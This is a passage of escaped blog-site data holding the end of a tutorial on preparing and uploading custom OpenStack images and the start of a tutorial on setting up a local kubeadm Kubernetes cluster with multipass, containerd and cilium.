data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e/dev/mapper/ubuntu--vg-root:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e clean,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 57106/441504\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e files,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 286779/1764352\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e blocks\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e/dev/sda1:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e clean,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 230/62248\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e files,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 39833/248832\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e blocks\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003ePreparing image for openstack\u003c/h1\u003e\n\u003cp\u003eTo prepare a virtual machine for the cloud, you will need to install the\n\u003ccode\u003ecloud-init\u003c/code\u003e package, which allows the cloud providers to inject certain\nsystem settings when creating servers based on the image. These are\nthings like hostname and ssh keys.\u003c/p\u003e\n\u003cp\u003eOn Fedora:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyum\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cloud-init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOn Ubuntu:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cloud-init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen you need to just configure \u003ccode\u003ecloud-init\u003c/code\u003e by editing\n\u003ccode\u003e/etc/cloud/cloud.cfg\u003c/code\u003e and update the \u003ccode\u003edatasources_list\u003c/code\u003e section to\ninclude EC2. OpenStack uses EC2 metadata for \u003ccode\u003ecloud-init\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eYou should also verify the user setting in this same config and define\nthe user you plan to use, it will be where the \u003ccode\u003eauthorized_keys\u003c/code\u003e file is\nsetup for when the cloud provider injects your SSH key into the server.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecloud-init\u003c/code\u003e will not create the user for you, it will just assign the\nSSH keypair and reset the password. So make sure the user defined in\n\u003ccode\u003ecloud.cfg\u003c/code\u003e is also created on the system.\u003c/p\u003e\n\u003cp\u003eOnce you have your \u003ccode\u003ecloud-init\u003c/code\u003e settings the way you want them, just\nshutdown and run the \u003ccode\u003evirt-sysprep\u003c/code\u003e command.\u003c/p\u003e\n\u003cp\u003eOn the guest machine:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eshutdown\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -h\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e now\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOn the host machine:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evirt-sysprep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e base_server\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eUploading your image to OpenStack\u003c/h1\u003e\n\u003cp\u003eUsing the glance API it is very straightforward to upload the image to\nOpenStack. Just run the following command:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglance\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image-create\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e base_server\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --disk-format=qcow2\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e--container-format=bare \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e--is-public=True\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --file\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e server.qcow2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --progress\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce the image upload completes you will be able to use it immediately\nwithin nova. You can reference it by name or by the id from [glance\nimage-list]{.title-ref}.\u003c/p\u003e\n\u003cp\u003eTo create your first instance from the image:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e boot\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --flavor\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e m1.tiny\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e base_server\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --key-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e devops\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e--security-groups \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003efree_for_all\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test_server\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eObviously the security groups, key name, and flavors are based on your\ninstallation of OpenStack but can all easily be queried from the nova\nAPI:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e flavor-list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secgroup-list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e keypair-list\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAnd you are done! You'll be able to re-use your new image as a base for\nall new instances you spin up in openstack!\u003c/p\u003e","category":"DevOps","date":"2014-08-03T00:00:00Z","tags":["Linux"],"title":"Preparing custom images for OpenStack"}]},"Kubernetes":{"count":3,"posts":[{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI am going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines! I will be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm is a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis is not important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI am going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you do not have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs. Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we will be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e State\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IPv4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Image\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can start working on our controlplane first, let us shell in:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine. We are going to use containerd for this purpose. You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up. I am going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e* Applying /etc/sysctl.d/k8s.conf ...\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e lsmod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 28672\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 176128\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\nnet.ipv4.conf.all.rp_filter = 0\nnet.ipv4.conf.cilium_host.rp_filter = 0\nnet.ipv4.conf.cilium_net.rp_filter = 0\nnet.ipv4.conf.cilium_vxlan.rp_filter = 0\nnet.ipv4.conf.default.rp_filter = 0\nnet.ipv4.conf.enp0s1.rp_filter = 0\nnet.ipv4.conf.lo.rp_filter = 0\nnet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\nnet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow let us pull down the container runtime we will be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" 